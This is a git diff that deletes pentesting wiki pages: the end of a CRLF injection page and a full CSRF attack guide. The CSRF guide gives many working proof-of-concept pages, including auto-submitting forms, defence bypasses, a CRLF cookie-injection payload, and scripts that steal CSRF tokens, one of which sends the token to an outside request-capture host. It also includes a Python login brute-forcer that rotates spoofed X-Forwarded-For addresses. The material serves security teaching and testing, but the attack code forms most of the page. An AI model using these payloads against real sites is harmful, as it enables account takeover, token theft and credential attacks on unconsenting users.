-into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the application’s own content is inert. Because `Content-Encoding: identity` is allowed by RFC 9110, many reverse-proxies forward it unchanged.
-
-## Automatic Tools
-
-* [CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) – fast active scanner written in Go.
-* [crlfuzz](https://github.com/dwisiswant0/crlfuzz) – wordlist-based fuzzer that supports Unicode newline payloads.
-* [crlfix](https://github.com/glebarez/crlfix) – 2024 utility that patches HTTP requests generated by Go programs and can be used standalone to test internal services.
-
-## Brute-Force Detection List
-
-- [carlospolop/Auto_Wordlists – crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt)
-
-## References
-
-- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/)
-- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/)
-- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
-- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/)
-- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302)
-- [Rapid7 - CVE-2026-41940: cPanel & WHM Authentication Bypass](https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass)
-- [watchTowr - The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)](https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/)
-- [cPanel Security Update 04/28/2026](https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026)
-- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md
deleted file mode 100644
index 05cf01ecf85..00000000000
--- a/src/pentesting-web/csrf-cross-site-request-forgery.md
+++ /dev/null
@@ -1,881 +0,0 @@
-# CSRF (Cross Site Request Forgery)
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Cross-Site Request Forgery (CSRF) Explained
-
-**Cross-Site Request Forgery (CSRF)** is a type of security vulnerability found in web applications. It enables attackers to perform actions on behalf of unsuspecting users by exploiting their authenticated sessions. The attack is executed when a user, who is logged into a victim's platform, visits a malicious site. This site then triggers requests to the victim's account through methods like executing JavaScript, submitting forms, or fetching images.
-
-### Prerequisites for a CSRF Attack
-
-To exploit a CSRF vulnerability, several conditions must be met:
-
-1. **Identify a Valuable Action**: The attacker needs to find an action worth exploiting, such as changing the user's password, email, or elevating privileges.
-2. **Ambient Credentials**: The request must carry credentials automatically, usually cookies or HTTP Basic/Digest authentication. In modern SPAs, also look for same-origin JavaScript gadgets that automatically attach bearer tokens or custom headers for you (client-side CSRF / CSPT2CSRF).
-3. **Absence of Unpredictable Parameters**: The request should not contain unpredictable parameters, as they can prevent the attack.
-
-### Quick Check
-
-You could **capture the request in Burp** and check CSRF protections, and to test from the browser you can click on **Copy as fetch** and check the request:
-
-<figure><img src="../images/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
-
-### Defending Against CSRF
-
-Several countermeasures can be implemented to protect against CSRF attacks:
-
-- [**SameSite cookies**](hacking-with-cookies/index.html#samesite): This attribute prevents the browser from sending cookies along with cross-site requests. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
-- [**Cross-origin resource sharing**](cors-bypass.md): The CORS policy of the victim site can influence the feasibility of the attack, especially if the attack requires reading the response from the victim site. [Learn about CORS bypass](cors-bypass.md).
-- **User Verification**: Prompting for the user's password or solving a captcha can confirm the user's intent.
-- **Checking Referrer or Origin Headers**: Validating these headers can help ensure requests are coming from trusted sources. However, careful crafting of URLs can bypass poorly implemented checks, such as:
-  - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
-  - Using `http://example.com.mal.net` (URL starts with the trusted URL)
-- **Modifying Parameter Names**: Altering the names of parameters in POST or GET requests can help in preventing automated attacks.
-- **CSRF Tokens**: Incorporating a unique CSRF token in each session and requiring this token in subsequent requests can significantly mitigate the risk of CSRF. The effectiveness of the token can be enhanced by enforcing CORS.
-
-Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications.
-
-#### Common pitfalls of defenses
-
-- SameSite pitfalls: `SameSite=Lax` still allows top-level cross-site navigations like links and form GETs, so many GET-based CSRFs remain possible. See cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).
-- Header checks: Validate `Origin` when present; if both `Origin` and `Referer` are absent, fail closed. Don’t rely on substring/regex matches of `Referer` that can be bypassed with lookalike domains or crafted URLs, and note the `meta name="referrer" content="never"` suppression trick.
-- Method overrides: Treat overridden methods (`_method` or override headers) as state-changing and enforce CSRF on the effective method, not just on POST.
-- Login flows: Apply CSRF protections to login as well; otherwise, login CSRF enables forced re-authentication into attacker-controlled accounts, which can be chained with stored XSS.
-
-## Defences Bypass
-
-### From POST to GET (method-conditioned CSRF validation bypass)
-
-Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:
-
-```php
-public function csrf_check($fatal = true) {
-  if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
-  // ... validate __csrf_token here ...
-}
-```
-
-If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token.
-
-Example:
-
-- Original POST with token (intended):
-  
-  ```http
-  POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
-  Content-Type: application/x-www-form-urlencoded
-
-  __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
-  ```
-
-- Bypass by switching to GET (no token):
-  
-  ```http
-  GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
-  ```
-
-Notes:
-- This pattern frequently appears alongside reflected XSS where responses are incorrectly served as text/html instead of application/json.
-- Pairing this with XSS greatly lowers exploitation barriers because you can deliver a single GET link that both triggers the vulnerable code path and avoids CSRF checks entirely.
-
-### Lack of token
-
-Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.
-
-Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:
-
-```http
-POST /admin/users/role HTTP/2
-Host: example.com
-Content-Type: application/x-www-form-urlencoded
-
-username=guest&role=admin&csrf=
-```
-
-Minimal auto-submitting PoC (hiding navigation with history.pushState):
-
-```html
-<html>
-  <body>
-    <form action="https://example.com/admin/users/role" method="POST">
-      <input type="hidden" name="username" value="guest" />
-      <input type="hidden" name="role" value="admin" />
-      <input type="hidden" name="csrf" value="" />
-      <input type="submit" value="Submit request" />
-    </form>
-    <script>history.pushState('', '', '/'); document.forms[0].submit();</script>
-  </body>
-</html>
-```
-
-### CSRF token is not tied to the user session
-
-Applications **not tying CSRF tokens to user sessions** present a significant **security risk**. These systems verify tokens against a **global pool** rather than ensuring each token is bound to the initiating session.
-
-Here's how attackers exploit this:
-
-1. **Authenticate** using their own account.
-2. **Obtain a valid CSRF token** from the global pool.
-3. **Use this token** in a CSRF attack against a victim.
-
-This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's **inadequate token validation mechanism**.
-
-### Method bypass
-
-If the request is using a "**weird**" **method**, check if the **method override** functionality is working. For example, if it's using a **PUT/DELETE/PATCH** method you can try to use a **POST** and send an override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`.
-
-This can also work by sending the **`_method` parameter inside a POST body** or using override **headers**:
-
-- `X-HTTP-Method`
-- `X-HTTP-Method-Override`
-- `X-Method-Override`
-
-Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers can’t issue them; with overrides, you can still reach those handlers via POST.
-
-Example request and HTML PoC:
-
-```http
-POST /users/delete HTTP/1.1
-Host: example.com
-Content-Type: application/x-www-form-urlencoded
-
-username=admin&_method=DELETE
-```
-
-```html
-<form method="POST" action="/users/delete">
-  <input name="username" value="admin">
-  <input type="hidden" name="_method" value="DELETE">
-  <button type="submit">Delete User</button>
-</form>
-```
-
-### Custom header token bypass
-
-If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then:
-
-- Test the request without the **custom token and the header.**
-- Test the request with exact **same length but different token**.
-
-### Client-side CSRF / CSPT2CSRF (modern SPA-driven CSRF)
-
-Modern applications often build authenticated requests in frontend JavaScript using **user-controlled inputs** such as URL parameters, path segments, fragments, `postMessage` data, `localStorage`, or uploaded JSON/config files. If attacker-controlled data reaches a `fetch()`/XHR path sink, the browser ends up issuing a **same-origin** request from the victim origin, which means:
-
-- `SameSite` cookies are usually sent because the final request is same-site.
-- Frontend code may automatically append custom CSRF headers or bearer tokens for you.
-- `Origin` / `Referer` checks can look completely legitimate because the request is emitted by the trusted frontend.
-
-This turns path/URL manipulation into a CSRF primitive even when classic cross-site form PoCs fail. A common pattern is chaining a **user-controlled GET sink** into a second **authenticated POST/PUT/DELETE sink**.
-
-Quick hunting checklist:
-
-- Instrument `fetch` / XHR and search for `../`, `%2e%2e/`, encoded slashes, or attacker-controlled full paths.
-- Check whether a controlled GET sink can feed data into a second state-changing request.
-- Review SPAs that parse imported dashboards, themes, or config files and later concatenate those fields into API paths.
-
-{{#ref}}
-client-side-path-traversal.md
-{{#endref}}
-
-### Upload gadget to CSPT2CSRF
-
-A recent variant is to upload a file that is **accepted by server-side validation** but is still **valid JSON for the frontend**. If the frontend later `JSON.parse()`s the uploaded file and concatenates one field into an API path, simply viewing or importing that file can trigger an authenticated same-origin CSRF.
-
-Minimal gadget ideas:
-
-```json
-{"aaa":"WEBP","_id":"../../../../admin/users/promote"}
-```
-
-```json
-{ "id": "../CSPT_PAYLOAD", "%PDF": "1.4" }
-```
-
-The first shape abuses validators that only look for `WEBP` magic bytes at a fixed offset. The second abuses PDF checks that only require `%PDF` near the beginning of the file.
-
-### CSRF token is verified by a cookie
-
-Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie.
-
-However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.
-
-Below is an example of how an attack could be structured:
-
-```html
-<html>
-  <!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
-  <body>
-    <script>
-      history.pushState("", "", "/")
-    </script>
-    <form action="https://example.com/my-account/change-email" method="POST">
-      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
-      <input
-        type="hidden"
-        name="csrf"
-        value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
-      <input type="submit" value="Submit request" />
-    </form>
-    <img
-      src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
-      onerror="document.forms[0].submit();" />
-  </body>
-</html>
-```
-
-> [!TIP]
-> Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself.
-
-### Content-Type change
-
-According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
-
-- **`application/x-www-form-urlencoded`**
-- **`multipart/form-data`**
-- **`text/plain`**
-
-However, note that the **server logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
-
-Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:
-
-```html
-<html>
-  <body>
-    <form
-      id="form"
-      method="post"
-      action="https://phpme.be.ax/"
-      enctype="text/plain">
-      <input
-        name='{"garbageeeee":"'
-        value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
-    </form>
-    <script>
-      form.submit()
-    </script>
-  </body>
-</html>
-```
-
-### Bypassing Preflight Requests for JSON Data
-
-When attempting to send JSON data via a POST request, using the `Content-Type: application/json` in an HTML form is not directly possible. Similarly, utilizing `XMLHttpRequest` to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:
-
-1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.
-2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`.
-3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
-
-### Referrer / Origin check bypass
-
-**Avoid Referrer header**
-
-Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:
-
-```xml
-<meta name="referrer" content="never">
-```
-
-This ensures the 'Referer' header is omitted, potentially bypassing validation checks in some applications.
-
-**Regexp bypasses**
-
-
-{{#ref}}
-ssrf-server-side-request-forgery/url-format-bypass.md
-{{#endref}}
-
-To set the domain name of the server in the URL that the Referrer is going to send inside the parameters you can do:
-
-```html
-<html>
-  <!-- Referrer policy needed to send the query parameter in the referrer -->
-  <head>
-    <meta name="referrer" content="unsafe-url" />
-  </head>
-  <body>
-    <script>
-      history.pushState("", "", "/")
-    </script>
-    <form
-      action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
-      method="POST">
-      <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
-      <input type="submit" value="Submit request" />
-    </form>
-    <script>
-      // You need to set this or the domain won't appear in the query of the referer header
-      history.pushState(
-        "",
-        "",
-        "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
-      )
-      document.forms[0].submit()
-    </script>
-  </body>
-</html>
-```
-
-### **HEAD method bypass**
-
-The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) is explained that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281), a router is set to **handle HEAD requests as GET requests** with no response body - a common workaround that isn't unique to Oak. Instead of a specific handler that deals with HEAD reqs, they're simply **given to the GET handler but the app just removes the response body**.
-
-Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**.
-
-### Browser-to-localhost / local service CSRF
-
-Don't limit CSRF hunting to the target origin. Desktop agents, update daemons, browser helpers, wallet software, IDE/dev servers, and admin panels often expose HTTP APIs on `127.0.0.1`, `localhost`, `0.0.0.0`, or RFC1918 addresses and trust that **only the local user** can reach them.
-
-Common weak points:
-
-- permissive or substring-based `Origin` checks
-- no CSRF token because loopback is assumed to be trusted
-- JSON endpoints that also accept `text/plain` or other relaxed content types
-- browser quirks or alternative loopback aliases that bypass local-network assumptions
-
-Minimal probe:
-
-```javascript
-fetch("http://127.0.0.1:53000/asus/v1.0/Reboot", {
-  method: "POST",
-  headers: { "Content-Type": "application/json" },
-  body: JSON.stringify({ Event: [{ Cmd: "Reboot" }] })
-})
-```
-
-For a real-world case study, check [this other page about browser-to-localhost abuse](../windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md).
-
-## **Exploit Examples**
-
-### Stored CSRF via user-generated HTML
-
-When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.
-
-- If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.
-
-Minimal example that changes the viewer’s email when loaded:
-
-```html
-<img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
-```
-
-### Login CSRF chained with stored XSS
-
-Login CSRF alone may be low impact, but chaining it with an authenticated stored XSS becomes powerful: force the victim to authenticate into an attacker-controlled account; once in that context, a stored XSS in an authenticated page executes and can steal tokens, hijack the session, or escalate privileges.
-
-- Ensure the login endpoint is CSRF-able (no per-session token or origin check) and no user interaction gates block it.
-- After forced login, auto-navigate to a page containing the attacker’s stored XSS payload.
-
-Minimal login-CSRF PoC:
-
-```html
-<html>
-  <body>
-    <form action="https://example.com/login" method="POST">
-      <input type="hidden" name="username" value="attacker@example.com" />
-      <input type="hidden" name="password" value="StrongPass123!" />
-      <input type="submit" value="Login" />
-    </form>
-    <script>
-      history.pushState('', '', '/');
-      document.forms[0].submit();
-      // Optionally redirect to a page with stored XSS in the attacker account
-      // location = 'https://example.com/app/inbox';
-    </script>
-  </body>
-</html>
-```
-
-
-### **Exfiltrating CSRF Token**
-
-If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability.
-
-### **GET using HTML tags**
-
-```xml
-<img src="http://google.es?param=VALUE" style="display:none" />
-<h1>404 - Page not found</h1>
-The URL you are requesting is no longer available
-```
-
-Other HTML5 tags that can be used to automatically send a GET request are:
-
-```html
-<iframe src="..."></iframe>
-<script src="..."></script>
-<img src="..." alt="" />
-<embed src="..." />
-<audio src="...">
-  <video src="...">
-    <source src="..." type="..." />
-    <video poster="...">
-      <link rel="stylesheet" href="..." />
-      <object data="...">
-        <body background="...">
-          <div style="background: url('...');"></div>
-          <style>
-            body {
-              background: url("...");
-            }
-          </style>
-          <bgsound src="...">
-            <track src="..." kind="subtitles" />
-            <input type="image" src="..." alt="Submit Button"
-          /></bgsound>
-        </body>
-      </object>
-    </video>
-  </video>
-</audio>
-```
-
-### Form GET request
-
-```html
-<html>
-  <!-- CSRF PoC - generated by Burp Suite Professional -->
-  <body>
-    <script>
-      history.pushState("", "", "/")
-    </script>
-    <form method="GET" action="https://victim.net/email/change-email">
-      <input type="hidden" name="email" value="some@email.com" />
-      <input type="submit" value="Submit request" />
-    </form>
-    <script>
-      document.forms[0].submit()
-    </script>
-  </body>
-</html>
-```
-
-### Form POST request
-
-```html
-<html>
-  <body>
-    <script>
-      history.pushState("", "", "/")
-    </script>
-    <form
-      method="POST"
-      action="https://victim.net/email/change-email"
-      id="csrfform">
-      <input
-        type="hidden"
-        name="email"
-        value="some@email.com"
-        autofocus
-        onfocus="csrfform.submit();" />
-      <!-- Way 1 to autosubmit -->
-      <input type="submit" value="Submit request" />
-      <img src="x" onerror="csrfform.submit();" />
-      <!-- Way 2 to autosubmit -->
-    </form>
-    <script>
-      document.forms[0].submit() //Way 3 to autosubmit
-    </script>
-  </body>
-</html>
-```
-
-### Form POST request through iframe
-
-```html
-<!-- 
-The request is sent through the iframe without reloading the page 
--->
-<html>
-  <body>
-    <iframe style="display:none" name="csrfframe"></iframe>
-    <form method="POST" action="/change-email" id="csrfform" target="csrfframe">
-      <input
-        type="hidden"
-        name="email"
-        value="some@email.com"
-        autofocus
-        onfocus="csrfform.submit();" />
-      <input type="submit" value="Submit request" />
-    </form>
-    <script>
-      document.forms[0].submit()
-    </script>
-  </body>
-</html>
-```
-
-### **Ajax POST request**
-
-```html
-<script>
-  var xh
-  if (window.XMLHttpRequest) {
-    // code for IE7+, Firefox, Chrome, Opera, Safari
-    xh = new XMLHttpRequest()
-  } else {
-    // code for IE6, IE5
-    xh = new ActiveXObject("Microsoft.XMLHTTP")
-  }
-  xh.withCredentials = true
-  xh.open(
-    "POST",
-    "http://challenge01.root-me.org/web-client/ch22/?action=profile"
-  )
-  xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
-  xh.send("username=abcd&status=on")
-</script>
-
-<script>
-  //JQuery version
-  $.ajax({
-    type: "POST",
-    url: "https://google.com",
-    data: "param=value&param2=value2",
-  })
-</script>
-```
-
-### multipart/form-data POST request
-
-```javascript
-myFormData = new FormData()
-var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
-myFormData.append("newAttachment", blob, "pwned.php")
-fetch("http://example/some/path", {
-  method: "post",
-  body: myFormData,
-  credentials: "include",
-  headers: { "Content-Type": "application/x-www-form-urlencoded" },
-  mode: "no-cors",
-})
-```
-
-### multipart/form-data POST request v2
-
-```javascript
-// https://www.exploit-db.com/exploits/20009
-var fileSize = fileData.length,
-  boundary = "OWNEDBYOFFSEC",
-  xhr = new XMLHttpRequest()
-xhr.withCredentials = true
-xhr.open("POST", url, true)
-//  MIME POST request.
-xhr.setRequestHeader(
-  "Content-Type",
-  "multipart/form-data, boundary=" + boundary
-)
-xhr.setRequestHeader("Content-Length", fileSize)
-var body = "--" + boundary + "\r\n"
-body +=
-  'Content-Disposition: form-data; name="' +
-  nameVar +
-  '"; filename="' +
-  fileName +
-  '"\r\n'
-body += "Content-Type: " + ctype + "\r\n\r\n"
-body += fileData + "\r\n"
-body += "--" + boundary + "--"
-
-//xhr.send(body);
-xhr.sendAsBinary(body)
-```
-
-### Form POST request from within an iframe
-
-```html
-<--! expl.html -->
-
-<body onload="envia()">
-  <form
-    method="POST"
-    id="formulario"
-    action="http://aplicacion.example.com/cambia_pwd.php">
-    <input type="text" id="pwd" name="pwd" value="otra nueva" />
-  </form>
-  <body>
-    <script>
-      function envia() {
-        document.getElementById("formulario").submit()
-      }
-    </script>
-
-    <!-- public.html -->
-    <iframe src="2-1.html" style="position:absolute;top:-5000"> </iframe>
-    <h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
-  </body>
-</body>
-```
-
-### **Steal CSRF Token and send a POST request**
-
-```javascript
-function submitFormWithTokenJS(token) {
-  var xhr = new XMLHttpRequest()
-  xhr.open("POST", POST_URL, true)
-  xhr.withCredentials = true
-
-  // Send the proper header information along with the request
-  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
-
-  // This is for debugging and can be removed
-  xhr.onreadystatechange = function () {
-    if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
-      //console.log(xhr.responseText);
-    }
-  }
-
-  xhr.send("token=" + token + "&otherparama=heyyyy")
-}
-
-function getTokenJS() {
-  var xhr = new XMLHttpRequest()
-  // This tells it to return the response as an HTML document
-  xhr.responseType = "document"
-  xhr.withCredentials = true
-  // true on the end of here makes the call asynchronous
-  xhr.open("GET", GET_URL, true)
-  xhr.onload = function (e) {
-    if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
-      // Get the document from the response
-      page = xhr.response
-      // Get the input element
-      input = page.getElementById("token")
-      // Show the token
-      //console.log("The token is: " + input.value);
-      // Use the token to submit the form
-      submitFormWithTokenJS(input.value)
-    }
-  }
-  // Make the request
-  xhr.send(null)
-}
-
-var GET_URL = "http://google.com?param=VALUE"
-var POST_URL = "http://google.com?param=VALUE"
-getTokenJS()
-```
-
-### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax**
-
-```html
-<form
-  id="form1"
-  action="http://google.com?param=VALUE"
-  method="post"
-  enctype="multipart/form-data">
-  <input type="text" name="username" value="AA" />
-  <input type="checkbox" name="status" checked="checked" />
-  <input id="token" type="hidden" name="token" value="" />
-</form>
-
-<script type="text/javascript">
-  function f1() {
-    x1 = document.getElementById("i1")
-    x1d = x1.contentWindow || x1.contentDocument
-    t = x1d.document.getElementById("token").value
-
-    document.getElementById("token").value = t
-    document.getElementById("form1").submit()
-  }
-</script>
-<iframe
-  id="i1"
-  style="display:none"
-  src="http://google.com?param=VALUE"
-  onload="javascript:f1();"></iframe>
-```
-
-### **Steal CSRF Token and send a POST request using an iframe and a form**
-
-```html
-<iframe
-  id="iframe"
-  src="http://google.com?param=VALUE"
-  width="500"
-  height="500"
-  onload="read()"></iframe>
-
-<script>
-  function read() {
-    var name = "admin2"
-    var token =
-      document.getElementById("iframe").contentDocument.forms[0].token.value
-    document.writeln(
-      '<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">'
-    )
-    document.writeln(
-      '<input id="username" type="text" name="username" value="' +
-        name +
-        '" /><br />'
-    )
-    document.writeln(
-      '<input id="token" type="hidden" name="token" value="' + token + '" />'
-    )
-    document.writeln(
-      '<input type="submit" name="submit" value="Submit" /><br/>'
-    )
-    document.writeln("</form>")
-    document.forms[0].submit.click()
-  }
-</script>
-```
-
-### **Steal token and send it using 2 iframes**
-
-```html
-<script>
-var token;
-function readframe1(){
-  token = frame1.document.getElementById("profile").token.value;
-  document.getElementById("bypass").token.value = token
-  loadframe2();
-}
-function loadframe2(){
-  var test = document.getElementbyId("frame2");
-  test.src = "http://requestb.in/1g6asbg1?token="+token;
-}
-</script>
-
-<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
-sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
-height="600" width="800"></iframe>
-
-<iframe id="frame2" name="frame2"
-sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
-height="600" width="800"></iframe>
-<body onload="document.forms[0].submit()">
-<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
-  <input type="text" name="username" value="z">
-  <input type="checkbox" name="status" checked="">
-  <input id="token" type="hidden" name="token" value="0000" />
-  <button type="submit">Submit</button>
-</form>
-```
-
-### **POSTSteal CSRF token with Ajax and send a post with a form**
-
-```html
-<body onload="getData()">
-  <form
-    id="form"
-    action="http://google.com?param=VALUE"
-    method="POST"
-    enctype="multipart/form-data">
-    <input type="hidden" name="username" value="root" />
-    <input type="hidden" name="status" value="on" />
-    <input type="hidden" id="findtoken" name="token" value="" />
-    <input type="submit" value="valider" />
-  </form>
-
-  <script>
-    var x = new XMLHttpRequest()
-    function getData() {
-      x.withCredentials = true
-      x.open("GET", "http://google.com?param=VALUE", true)
-      x.send(null)
-    }
-    x.onreadystatechange = function () {
-      if (x.readyState == XMLHttpRequest.DONE) {
-        var token = x.responseText.match(/name="token" value="(.+)"/)[1]
-        document.getElementById("findtoken").value = token
-        document.getElementById("form").submit()
-      }
-    }
-  </script>
-</body>
-```
-
-### CSRF with Socket.IO
-
-```html
-<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
-<script>
-  let socket = io("http://six.jh2i.com:50022/test")
-
-  const username = "admin"
-
-  socket.on("connect", () => {
-    console.log("connected!")
-    socket.emit("join", {
-      room: username,
-    })
-    socket.emit("my_room_event", {
-      data: "!flag",
-      room: username,
-    })
-  })
-</script>
-```
-
-## CSRF Login Brute Force
-
-The code can be used to brute-force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):
-
-```python
-import request
-import re
-import random
-
-URL = "http://10.10.10.191/admin/"
-PROXY = { "http": "127.0.0.1:8080"}
-SESSION_COOKIE_NAME = "BLUDIT-KEY"
-USER = "fergus"
-PASS_LIST="./words"
-
-def init_session():
-    #Return CSRF + Session (cookie)
-    r = requests.get(URL)
-    csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
-    csrf = csrf.group(1)
-    session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
-    return csrf, session_cookie
-
-def login(user, password):
-    print(f"{user}:{password}")
-    csrf, cookie = init_session()
-    cookies = {SESSION_COOKIE_NAME: cookie}
-    data = {
-        "tokenCSRF": csrf,
-        "username": user,
-        "password": password,
-        "save": ""
-    }
-    headers = {
-        "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
-    }
-    r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
-    if "Username or password incorrect" in r.text:
-        return False
-    else:
-        print(f"FOUND {user} : {password}")
-        return True
-
-with open(PASS_LIST, "r") as f:
-    for line in f:
-        login(USER, line.strip())
-```
-
-## Tools <a href="#tools" id="tools"></a>
-
-- [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
-- [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
-- [Burp Suite Professional – Generate CSRF PoCs](https://portswigger.net/burp)
-- [https://github.com/doyensec/eval-villain](https://github.com/doyensec/eval-villain) - Useful to instrument `fetch` / XHR sinks while hunting CSPT2CSRF in SPAs.
-- [https://github.com/doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - Useful to correlate client-controlled sources with later request-path sinks.
-
-## References
-
-- [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
-- [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
-- [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
